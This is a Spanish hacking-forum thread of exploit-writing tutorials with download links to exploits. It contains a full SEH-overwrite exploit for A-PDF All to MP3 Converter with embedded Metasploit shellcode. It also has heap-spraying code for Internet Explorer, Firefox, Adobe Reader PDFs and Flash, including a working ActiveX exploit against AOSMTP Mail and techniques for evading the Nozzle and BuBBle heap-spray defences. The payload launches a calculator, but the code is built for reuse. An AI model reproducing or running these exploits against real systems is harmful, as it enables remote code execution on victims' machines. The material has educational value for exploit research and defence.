Temas

Os dejo este tutorial que quedó muy currao por parte de mi compañero Longinos, gran trabajo!!

Descarga: https://mega.co.nz/#!sgAkQL4Q!pKrp1wJmH02jt2tOa80Erudt5ddKcLyV1MPU2cMdVfM

Exploit XP: https://mega.co.nz/#!B9BHjbQI!A5UFp5Qx2lWinv2jlsXDFYnlE_AIYAFlAh59xsHsF6k

Exploit w7: https://mega.co.nz/#!lkwiQLhD!vOb7yhd792nDr1Kq27efZOLdN57A39Lh6dAr1P2DiQg


Aqui una extensión para bypassear ASLR

Descarga: https://mega.co.nz/#!kgInnKiQ!pE4mnSq5Vz60z5U1NYhc9ZCcemdF4GPcZl2BxThCmR4

Exploit DEP+ASLR bypass: https://mega.co.nz/#!p0ADTIqY!15Wf2OFQ5Tuw7EX7f5sAXiMSioOC5jRd8MeZ51LHeFg

Me costó mucho hacerlo y aquí lo dejo para que se lea y sirva de algo. Saludos.

Descarga: https://mega.co.nz/#!k85g1SpJ!jUA7RQXV-ccRwUaVKgDSaihlQVaHUd07tCDTOS-_eBk

Exploit: https://mega.co.nz/#!F4R23CoL!9MtYXqrpgT6024TMc_OCuYVFjssiv2KCS0YOfBFBAY0

[Creación de Exploits por corelanc0d3r traducidos por Ivinson]

Buenas a todos,

Os dejo aquí unas traducciones que ha hecho un compañero de CrackSLatinoS. Espero que os guste. Aquí su blog http://crackingvenezolano.blogspot.com.es/


Creación de Exploits por corelanc0d3r traducidos por Ivinson


Creación de Exploits 1: Desbordamiento de Stack por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?4fxv630j8k8yfa1
 
Creación de Exploits 2: Desbordamiento de Stack  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?zmncajjcizrz8jt
 
Creación de Exploits  3: SEH  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?s96wcb9io6hlo58
 
Creación de Exploits 3b: SEH  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?b7l8gk8ks05gj6y

Creacion de Exploits 4: De Exploit a Metasploit por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?7ksqbtio00xe6tk
 
Creación de Exploits 5:  Acelerar el Proceso con Plugins y módulos por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?39annkyp7ytrp3n
 
Exploits Evitando SEHOP por SYSDREAM IT Security Services traducido por Ivinson
http://www.mediafire.com/?dej4gpof630b788
 
Creación de Exploits 6: Cookies del Stack SafeSEH, SEHOP, HW DEP y ASLR  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?cxo57jclbatkslt
 
Creación de Exploits 7: Unicode -  De 0×00410041 a la Calc  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?78ibmzj44yjprcr

Creación de Exploits 8: Cacería de Huevos en Win32 por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?o2ohc8kyhh5gg2e


Creacion de Exploits 9: Introducción al Shellcoding en  Win32 por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?4ol62nftt0pj798

Creación de Exploits 10: Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson.
http://www.mediafire.com/?22ti3vrt6vn1raj

***Nuevo***
Creación de Exploits 11: Heap Spraying Desmitificado por corelanc0d3r traducido por Ivinson.

http://www.mediafire.com/?bm5gq1le3u5676w  


Saludos.

[STACK OVERFLOW BYPASSING SEH "STRUCTURED EXCEPTION HANDLER"]

STACK OVERFLOW BYPASSING SEH
"STRUCTURED EXCEPTION HANDLER"

INTRODUCCIÓN
===========


En este caso vamos a ver como saltarnos la protección SEH.
Para seguir este tutorial necesitaremos:

-   Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx
-   Tener python instalado: http://www.python.org/download/
-   Metasploit: http://www.metasploit.com/download/
-   Cygwin: http://cygwin.com/install.html
-   A-PDF All to MP3 converter 2.0.0: http://www.exploit-db.com/application/16073/




EXPLICACIÓN
==========


Bueno a ver si me explico bien... Cuando programamos cualquier aplicación le podemos poner lo que son bloques de control de errores, los conocidos try {} catch() {}; si se cumple lo que hay dentro del try sigue el código después del catch, si hay un error salta a la excepción, o sea al catch y hace lo que haya dentro. Bien pues esto se nos aparece también en la pila, el controlador de excepciones. El propio sistema operativo tiene sus propios controladores de excepciones, ahora como es su funcionamiento en la pila, pues en cada marco de pila antes de llegar al ret hay un puntero al próximo marco de pila con su SEH handler y después de esta la dirección del propio SEH handler. Al final llega a una dirección tipo 0xFFFFFFFF que indica que es el ultimo SEH handler y allí se para. En su camino puede encontrarse con SEH handler del programa compilado y con SEH handler del sistema operativo.






Como explotar esto sin llegar a ningún controlador de excepción. Bueno la técnica es la siguiente. Como siempre llenar el buffer de basura, como no llegó al retorno valido saltara la excepción, el SE Handler (el siguiente), cuando llegamos al puntero lo sobrescribimos con un salto de 6 bytes hacia delante que se encontrará nuestra shellcode, después la siguiente dirección (el SEH handler actual, después de los 6 bytes) la reemplazamos por un pop pop ret que hará que quite dos direcciones y llegue al puntero del próximo SEH, o sea al salto de 6 bytes y de ahí a nuestra shellcode. Por qué ocurre esto? Porque cuando se encuentra un error el SEH crea un marco de pila nuevo con su código, o sea que apunta a un nuevo marco de pila, si hacemos un pop/pop/ret llegaremos al puntero del próximo SEH handler, en esp+8, que es nuestro salto de 6 bytes que nos mandará hacia la shellcode






Una vez entendido esto no os va a costar construir vuestros exploits.



MANOS A LA OBRA
=============



Vamos a poner a Windbg como just-time-in-debugger, vamos a su carpeta y ejecutamos windbg –I (como administrador).

Código [Seleccionar] Expandir

C:\Program Files\Debugging Tools for Windows (x86)>windbg –I

Ahora vamos a fuzzear el programa, para esto ya tienes que tener el programa vulnerable instalado, en este caso A-PDF All to MP3 converter 2.0.0. Además de Metasploit. Arrancamos este último con msfconsole y utilizamos una de sus tools pattern_reate.rb (está en la carpeta tools).






Copiamos todos  los bytes y lo empleamos en un script de python con el siguiente código.

Código [Seleccionar] Expandir


#!/usr/bin/env python
# Fuzz
#####################

import sys

fuzz = "Cadena de caracteres de pattern_create.rb"
f = open("crash.wav","wb")
f.write(fuzz)
f.close()
print ("[+] Hecho!!!")


Desde ms-dos lo invocamos y creamos el archivo

Código [Seleccionar] Expandir

C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!

Abrimos ahora Alltomp3.exe, nos pide el registro, le damos a try y después a next, arrastramos el archivo crash.wav al programa y windbg salta.




Para ver donde ha desbordado excribmos el comando !exchain y aparece el patrón de búsqueda





Cogemos el patrón de búsqueda y nos vamos de nuevo a Metasploit para sacar los caracteres de basura.

Código [Seleccionar] Expandir

msf > ruby pattern_offset.rb 68463768
[*] exec: ruby pattern_offset.rb 68463768

4132

Des esto concluimos que el exploit seria: basura + jmp 6 bytes + pop pop ret + shellcode




ARMANDO EXPLOIT
==============


Usaremos python para el exploit como en el fuzz, pero antes necesitamos sacar una dirección que use el programa que contenga un pop pop ret. Como lo sacamos? También con Metasploit, pero esta opción solo se puede usar desde Linux porque Windows no entiende el archivo, por eso tenemos que instalarnos Cygwin, ya sabes Ahora nos vamos a la ruta donde esta msfpescan que está dentro de la carpeta msf3. Antes de buscar bueno os digo, lo mejor es buscar el offset en el propio ejecutable porque nos aseguramos de que funcionará y además será universal independientemente del sistema operativo. Resulta que tenia la anterior versión de Metasploit que trae una consola de Cygwin así que no me hizo falta instalarlo. Ahora si ejecutamos msfpescan -p ruta_del_exe:






Nos han salido solo 4 direcciones y además con caracteres nulos '00' (podría fallar el ataque), usamos la ultima y a ver que ocurre, la cogemos en el orden littel Indian "\x91\x6a\x5d\x00". Nos falta el salto de 6 bytes, esto se consigue con "\xeb\x06\x90\x90" eb para el opcode jmp y después los bytes que deseemos pero siempre en hexadecimal claro, seguido de dos nops. Ah falta lo más importante la shellcode, en este caso la ejecución de una calculadora. El exploit quedaría así.

Código [Seleccionar] Expandir


#!/usr/bin/env python
# PoC
#####################

import sys

basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x91\x6a\x5d\x00"
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
          "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
                  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
          "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
          "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
                  "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
          "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
          "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
          "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
          "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
                  "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
                  "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
          "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
          "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
          "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
          "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
            "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
          "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
          "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
          "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
          "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
          "\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()


Desde ms-dos lo invocamos y creamos el archivo

Código [Seleccionar] Expandir

C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!

Volvemos a abrir crash.wav con Alltomp3.exe y voilá






BIBLIOGRAFIA
==========

http://www.corelan.be:8800  <-- Recomendada (inglés)
http://www.exploit-db.com <--  Para practicar con más programas

Este manual se lo dedico a mi compa messerschmitt.


soez


Descarga en pdf: https://mega.co.nz/#!Y54FQbwQ!XhbdH4Hge6OIJ2pZC52kjuLXMEuIITfTslYtdbKIZUs

[EXPLOTANDO APLICACIONES CON HEAP SPRAYING]

EXPLOTANDO APLICACIONES CON HEAP SPRAYING

INTRODUCCIÓN
===========

En este tutorial voy a explicar cómo aprovecharnos de un bug en una aplicación cualquiera, explotándola aplicando la técnica heap spraying con la que conseguiremos ejecutar código arbitrario a nuestro antojo. Todo este artículo está muy resumido y basado en el tutorial de corelanc0d3r que dejo al final. Algunos de los códigos tienen pequeñas modificaciones.

Para seguir este tutorial necesitaremos:

• Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx
• HeapLib.js by Alexander Sotirov: http://www.koders.com/javascript/fid7C3644D0ED51FBBAAEF9BEF32C373E21FD9FD106.aspx?s=ruby
• AOSMTP Mail: http://www.exploit-db.com/application/12663/

EXPLICACIÓN
==========

A cada hilo de una aplicación se le asigna una pequeña parte de pila, la parte estática que es la que hemos visto en los clásicos buffer overflows y la parte dinámica llamada heap que se usa en tiempo de ejecución, el propio programa puede pedir que se le asigne más espacio por ejemplo con la función VirtualAlloc(); que esta a su vez llamará a ntdll.dll para ejecutar el procedimiento. La gestión de la memoria dinámica heap también guarda en cache la memoria que se va liberando y así ese espacio se puede reasignar nuevamente a un nuevo espacio del mismo tamaño evitando así la fragmentación. Ahora, ¿En qué consiste el heap spraying? El heap spraying no es ninguna vulnerabilidad si no una técnica para explotarla, que consiste en rociar la pila con bloques de nops + shellcode repetidamente, así pues cuando obtenemos el control de eip y ponemos un puntero que apunte a esa parte predecible, es fácil caer a una zona donde se encuentre un trampolín de nops que nos lleve a la shellcode : )






APLICACIÓN
=========

Vamos a ver cómo hacer esto en los navegadores web, adobe pdf, adobe flash y no se queda simplente ahí ... Para alojar bloques de código en la pila podemos usar arrays (la forma más sencilla) vamos a empezar con ie7 para ver el ejemplo más simple. Cogemos el siguiente código y lo abrimos con el navegador.

Código (html5) [Seleccionar] Expandir


<html>
<script>
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
</html>



Cabe observar que al usar la función unescape(); está asignando un tamaño del doble de caracteres pero en tamaño real es la mitad (puedes usar un document.write(); para observarlo), por eso lo reducimos correctamente con esta línea  de código:

Código (javascript) [Seleccionar] Expandir

var block = bigblock.substring(0,bigblock.length - slackspace);

Abrimos windbg y atajamos (Attach) el proceso iexplorer.exe, después escribimos el comando !heap –stat –h 00150000 (windows xp/sp3). Y vemos:





El bloque donde se asignó esta relleno al 99% : )

Vemos todas las asignaciones con el siguiente comando !heap -flt s 0x7ffe0



Podemos buscar la cadena AAAA con el comando: s -a 0x00000000 L?0x7fffffff "AAAA" y de ahí deducimos:



Vemos como esta al final de los nops y empieza otro nuevo bloque.

Observamos todas las direcciones predecibles:

0x06060606, 0x07070707, 0x08080808, 0x09090909, 0x0a0a0a0a, 0x0b0b0b0b, 0x0c0c0c0c..



¿Se intuye la jugada verdad? Bien, vamos a explotar un bug en un ActiveX de la  aplicación vulnerable AOSMTP Mail, lo instaláis y después cogemos el siguiente código:

Código (html5) [Seleccionar] Expandir


<html>
<!— Indicamos usar el ActiveX AOSMTP Mail -->
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>

var heap = new heapLib.ie(0x10000);

// win32_exec - CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var code = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                   "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                   "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                   "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                   "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                   "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                   "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                   "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                   "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                   "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                   "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                   "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                   "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                   "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                   "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                   "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                   "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                   "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                   "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                   "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                   "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                   "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                   "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                   "%u314e%u7475%u7038%u7765%u4370");
 
// creamos un bloque de nops
var nops = unescape('%u9090%u9090');
while (nops.length < 0x800) nops += nops;

// le añadimos la shellcode al bloque
var shellcode =  nops.substring(0, 0x800 - code.length) + code;

// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x40000) shellcode += shellcode;

// dejamos sitio a la cabecera
var block = shellcode.substring(2, 0x40000 - 0x21);

// heap spray
for (var i=0; i < 500; i++) {
heap.alloc(block);
}

// rellenamos el stack
var payload = "";
while(payload.length < 300) payload += "\x0a";

// trigger
target.AddAttachments(payload);

</script>
</html>



Notas:

1.   Para utilizar una shellcode al gusto usamos backtrack y ejecutamos por ejemplo: ./msfpayload windows/exec cmd=calc R | ./msfencode -e x86/shikata_ga_nai -t js_le  




Para listar las shellcodes ./msfpayload -l

2.   Utilizar la siguiente tabla para alinear:

OS & Browser	Block syntax
XP SP3 – IE7	block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8	block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7	block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8	block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8	block = shellcode.substring(0, (0×80000-6)/2);

   

3.   Hay que testear varias veces con todos los posibles aterrizajes para escoger el mejor salto (0x06060606, 0x0a0a0a0a, 0x0c0c0c0c..)


Lo abrimos con ie7 y voilá  



IE8

A partir de aquí haremos uso de la librería heapLib.js obligatoriamente (en ie7 no era necesario) que es usada para liberar el heap y que quede todo el espacio libre seguido. Usamos el siguiente código:

Código (html5) [Seleccionar] Expandir


<html>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>

var heap = new heapLib.ie(0x10000);

// AAAAs
var code = unescape("%u4141%u4141");
 
// creamos un bloque de nops
var nops = unescape('%u9090%u9090');

while (nops.length < 0x1000) nops += nops;

// le añadimos la shellcode al bloque
var shellcode =  nops.substring(0, 0x1000 - code.length) + code;

// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x40000) shellcode += shellcode;

// dejamos sitio a la cabecera
var block = shellcode.substring(2, 0x40000 - 0x21);

// heap spray
for (var i=0; i < 500; i++) {
heap.alloc(block);
}
</script> </html>



Observamos con windbg la pila..





También !heap –stat –h 00150000




!heap -flt s 0x7ffc0 ...




Buscamos la cadena de "AAAA"s con el comando: s -a 0x00000000 L?0x7fffffff "AAAA"





IE9

Bueno aquí la cosa se complica un poco, ya que ie9 trae incorporada la protección DEP que me falta escribir el artículo sobre este tema, pero si vamos a ver "pequeñas protecciones" que también trae y como saltarlas . Trabajaremos con windows/vista sp2 para ie9.



Nozzle & BuBBle

Nozzle consiste en una pequeña heurística para detectar instrucciones validas en la pila, por ejemplo el uso de nops, el carácter 0x90 (Microsoft).

BuBBle consiste en detectar bloques iguales en la pila, nops + shellcode, nops + shellcode, etc.. (Firefox).

Nos las saltaremos haciendo de trineo una cadena de caracteres aleatoriamente en cada bloque que nos harán resbalar también hasta la shellcode : ). Usamos el siguiente código.

Código (html5) [Seleccionar] Expandir


<html>
<!— Indicamos usar el ActiveX AOSMTP Mail -->
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>

function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*13)+47;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap = new heapLib.ie(0x10000);

// AAAAs
var code = unescape("%u4141%u4141");
 
for (var i=0; i < 500; i++) {  
// creamos un bloque de nops
var padding = unescape(tounescape(randomblock(0x100)));
while (padding.length < 0x800) padding += padding;

// le añadimos la shellcode al bloque
var shellcode =  padding.substring(0, 0x800 - code.length) + code;

// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x20000) shellcode += shellcode;

// dejamos sitio a la cabecera
var block = shellcode.substring(0, (0x40000 - 6)/2);

heap.alloc(block);
}


// rellenamos el stack
var payload = "";
while(payload.length < 300) payload += "\x0a";

// trigger
target.AddAttachments(payload);

</script></html>


Nota: Hay que hacer uso del ActiveX.

Buscamos la shellcode con el comando d (dump).




Vemos que esta relleno de caracteres que actuarán de nops para llegar a la shellcode y las 4 As.


FIREFOX 9.0.1


Lo mismo, cogemos el siguiente código (windows/xp sp3):

Código (html5) [Seleccionar] Expandir


<html>
<script language='javascript'>
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*13)+47;
}
return theblock.toString();
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
// AAAAs
var code = unescape("%u4141%u4141");
 
for (var i=0; i < 500; i++) {
 
// creamos un bloque
var randomstring = "";
for(var j=0; j < 4; j++){
randomstring += randomblock(0x100);
}
var padding = unescape(tounescape(randomstring));
while (padding.length < 0x800) padding += padding;

// le añadimos la shellcode al bloque
var shellcode =  padding.substring(0, 0x800 - code.length) + code;

// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x20000) shellcode += shellcode;

// dejamos sitio a la cabecera
var block = shellcode.substring(0, (0x40000 - 6)/2);

// spray
varname = "var" + randomstring;
thisvarname = "var " + varname + "= '" + block +"';";
eval(thisvarname);
}
</script>
</html>



Buscamos la shellcode con s -a 0x00000000 L?0x7fffffff "AAAA" y después deducimos..




Vemos las direcciones predecibles...




HEAP SPRAYING CON IMÁGENES


Esta técnica también se puede realizar con imágenes, publicada por Greg MacManus y Michael Sutton en el 2006 fue retomada por Moshe Ben Abu en el 2010 en la presentación de OSWAP. Vamos a backtrack con el siguiente código:

Código (ruby) [Seleccionar] Expandir


# written by Moshe Ben Abu (Trancer) of www.rec-sec.com

bmp_width = ARGV[0].to_i
bmp_height = ARGV[1].to_i
bmp_files_togen = ARGV[2].to_i

if (ARGV[0] == nil)
bmp_width = 1024
end

if (ARGV[1] == nil)
bmp_height = 768
end

if (ARGV[2] == nil)
bmp_files_togen = 128
end

# size of bitmap file calculation
bmp_header_size = 54
bmp_raw_offset = 40
bits_per_pixel = 24
bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )

bmp_file = "\x00" * bmp_file_size
bmp_header = "\x00" * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size

# generate bitmap file header
bmp_header[0,2] = "\x42\x4D" # "BM"
bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data

bmp_file[0,bmp_header.length] = bmp_header

bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size

for i in 1..bmp_files_togen do
bmp = File.new(i.to_s+".bmp","wb")
bmp.write(bmp_file)
bmp.close
end



y creamos la imagen.




Creamos un .html con el código:

Código (html5) [Seleccionar] Expandir


<html>
<body>
<img src='1.bmp'>
</body>
</html>


Lo abrimos con ie7 en windows/xp sp3 y buscamos la cadena: s -b 0x00000000 L?0x7fffffff 00 00 00 00 0c 0c 0c 0c





Claro que para que un buen heap spraying harían falta añadir más imágenes, pero la idea era que se supiera.



HEAP SPRAYING EN ADOBE READER


Con los pdf también es posible aplicar esta técnica : ) y en este ámbito adobe reader es conocido por su poca preocupación en las vulnerabilidades de sus aplicaciones, para aplicarla solo hace falta añadir un código javascript al archivo, nos bajamos make-pdf tools escrito en python de Didier Steven de aquí http://blog.didierstevens.com/programs/pdf-tools/ y con el siguiente código que os muestro lo guardamos como adobe_spray.txt

Código (javascript) [Seleccionar] Expandir


shellcode = unescape('%u4141%u4141');
nops = unescape('%u9090%u9090');
headersize = 20;

// create one block with nops
slackspace = headersize + shellcode.length;
while(nops.length < slackspace) nops += nops;
fillblock= nops.substring(0, slackspace);

// enlarge block with nops, size 0x50000
block= nops.substring(0, nops.length - slackspace);
while(block.length+slackspace < 0x50000) block= block+ block+ fillblock;

// spray 200 times : nops + shellcode
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;



De seguido creamos el pdf con el código añadido, desde la misma carpeta donde se encuentren los archivos: python make-pdf-javascript.py -f adobe_spray.txt test.pdf  (doy por hecho que está python instalado) se creará test.pdf que lo abrimos con la versión 9.x }:-)





Dump a 0x0a0a0a0a (windows 7).





ADOBE FLASH ACTION SCRIPT



ActionScript es el lenguaje usado para adobe flash, también es posible utilizar la técnica en la aplicación y es más, todo programa que acepte un objeto flash puede ser víctima de heap spraying, ya sea de MS Office, etc.. no se os ponen los dientes largos? Jeje.


Vamos a bajarnos haxe para compilar el objeto flash de aquí http://haxe.org/download . Guardamos el siguiente código como MySpray.hx

Código (actionscript) [Seleccionar] Expandir


class MySpray
{
static var Memory = new Array();
static var chunk_size:UInt = 0x100000;
static var chunk_num;
static var nop:Int;
static var tag;
static var shellcode;
static var t;

static function main()
{
 tag = flash.Lib.current.loaderInfo.parameters.tag;
 nop = Std.parseInt(flash.Lib.current.loaderInfo.parameters.nop);
 shellcode = flash.Lib.current.loaderInfo.parameters.shellcode;
 chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
 t = new haxe.Timer(7);
 t.run = doSpray;
}

static function doSpray()
{
 var chunk = new flash.utils.ByteArray();
 chunk.writeMultiByte(tag, 'us-ascii');
 while(chunk.length < chunk_size)
  {
     chunk.writeByte(nop);
  }
  chunk.writeMultiByte(shellcode,'utf-7');

  for(i in 0...chunk_num)
  {
    Memory.push(chunk);
  }

  chunk_num--;
  if(chunk_num == 0)
  {
    t.stop();
  }
}
}



Este script recibe 4 argumentos:

• tag: la etiqueta para poner al frente del trineo nop (para que podamos   encontrar con mayor facilidad)
• nop: el byte de usar como nop (valor decimal)
• shellcode: la shellcode
• N: el número de veces para pulverizar

Lo compilamos desde la carpeta de instalación:

C:\Program Files\Motion-Twin\haxe\haxe.exe -main MySpray -swf9 MySpray.swf


Invocamos el objeto desde un html (MySpray.html):

Código (html5) [Seleccionar] Expandir


<html>
<body>

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="320" HEIGHT="240" id="MySpray" ALIGN="">
<PARAM NAME=movie VALUE="MySpray.swf">
<PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#333399>
<PARAM NAME=FlashVars VALUE="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD">
<EMBED src="MySpray.swf" quality=high bgcolor=#333399 WIDTH="320" HEIGHT="240" NAME="MySpray"
FlashVars="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD"
ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</OBJECT>

</body>
</html>


Observa que el carácter nop es 144 (0x90 en decimal). Cargamos el archivo con ie7 (windows/xp sp3).





En windbg: s -a 0x00000000 L?0x7fffffff "CORELAN"





Seguro que le sacáis provecho .


APENDICE


Esta técnica se aprovecha explotando alguna vulnerabilidad de las aplicaciones, ¿Cómo buscarlas? Bueno pues las aplicaciones hacen uso de sus propios procedimientos, en .ocx, .dll, etc.. Cuando instalas un programa en su carpeta puede venir una guía documentada con las funciones que utiliza, ahí puedes empezar a testearlo usándolas con mala intención en el script para ver si se cierra la aplicación repentinamente y ya tenemos un trigger, también puedes usar comRaider para ver las funciones.


DESPEDIDA

Aquí termina todo, hasta la próxima

Tutorial basado de la página de corelanc0d3r:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/


soez


Descarga en pdf: https://mega.co.nz/#!44xymZwT!N_KbKmXlN0H1s9EG-HUJZ0JCsJwGoehcl6y4D4ovCN8

A ver si me das un empujoncito, en el codigo que direccion hay que poner la fisica y la virtual? y aparte la direccion de la sección seria PointerToRawData no? o VirtualAddress? en que se diferencian? Thanks

Buenas, para añadir un algoritmo en la nueva sección creada del ejecutable como seria? Porque jugar con los bytes vale, pero introducir el algoritmo? Saludos y gracias

Bueno pregunto esto y asi me servirá para todas, como asigno a una variable la direccion que hay en la posicion 3C para averiguar donde empieza el PE ?? programando en C

